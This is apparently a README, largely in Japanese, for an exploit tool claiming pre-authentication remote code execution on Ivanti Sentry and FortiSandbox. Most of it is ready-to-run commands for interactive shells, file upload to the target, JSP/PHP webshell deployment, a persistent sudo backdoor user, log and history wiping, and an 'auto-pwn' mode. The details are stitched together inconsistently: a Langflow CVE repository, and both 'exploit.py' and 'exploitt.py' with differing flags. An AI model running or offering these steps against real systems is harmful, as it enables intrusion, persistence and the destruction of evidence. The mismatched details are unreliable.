
Multi-CVEエクスプロイトツール:Ivanti SentryおよびFortiSandboxに対する事前認証リモートコード実行を実現。インタラクティブシェル、ウェブシェル展開、バックドアユーザ作成、ログクリーニングを特徴とし、ペネトレーションテスト向け。
git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow
python3 exploit.py -u https://target.com
python3 exploit.py -u https://target.com --shell
(📁shells/my-shell.php)
python3 exploit.py -u https://target.com --shell my-shell.php
python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |
python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt
· CVE-2026-10520 (CVSS 10.0) · CVE-2026-25089 (CVSS 9.1)
認証情報は不要です。
python3 exploitt.py
# Check if vulnerable
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"
# Interactive shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s
# Deploy JSP webshell (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w
# Create backdoor user + clean logs
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean
# Single command
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"
# Interactive shell with file upload
python3 exploitt.py -u https://forti.example.com --type forti -s
# Inside shell: upload /path/local.txt /remote/path.txt
# Deploy PHP webshell
python3 exploitt.py -u https://forti.example.com --type forti -w
# Full auto‑pwn (check, shell, webshell, persist, clean)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean
python3 exploitt.py -u https://target.example.com -c "id"
python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"
利用可能なコマンドライン引数
引数 説明 -u, --url ターゲットURL(例: https://192.168.1.100:8443) --type サービスを強制指定: ivanti または forti(オプション、自動検出) -t, --timeout リクエストタイムアウト(秒)(デフォルト30) --proxy HTTP/HTTPSプロキシ(例: http://127.0.0.1:8080) -d, --debug デバッグ出力を有効化 --ua カスタムUser‑Agent文字列 -c, --cmd 単一コマンドを実行して終了 -s, --shell インタラクティブシェルを起動 -w, --webshell ウェブシェルを展開(Forti: PHP、Ivanti: JSP) -p, --persist 永続的なsudo有効バックドアユーザーを作成 --clean エクスプロイト後にログとコマンド履歴を消去
インタラクティブシェルコマンド
インタラクティブシェル内では以下を使用できます:
コマンド 例 説明 normal command id 任意のシステムコマンドを実行 upload upload exploit.sh /tmp/backdoor.sh ローカルファイルをリモートホストにアップロード exit exit シェルを終了
ウェブシェル展開の詳細
· Ivanti Sentry – Tomcat webapps 内に .jsp シェルを展開 (/usr/local/tomcat/webapps/ROOT/) · アクセス: https://target/shell_random.jsp?cmd=whoami · FortiSandbox – ウェブルート内に .php シェルを展開 (/var/www/html/) · アクセス: https://target/shell_random.php?cmd=whoami
ワークフロー例(完全なペネトレーションテスト)
# 1. Detect and exploit
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s
# 2. Inside the shell, check privileges
id
# 3. Deploy webshell for persistence
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w
# 4. Create a backdoor user
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p
# 5. Clean logs
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean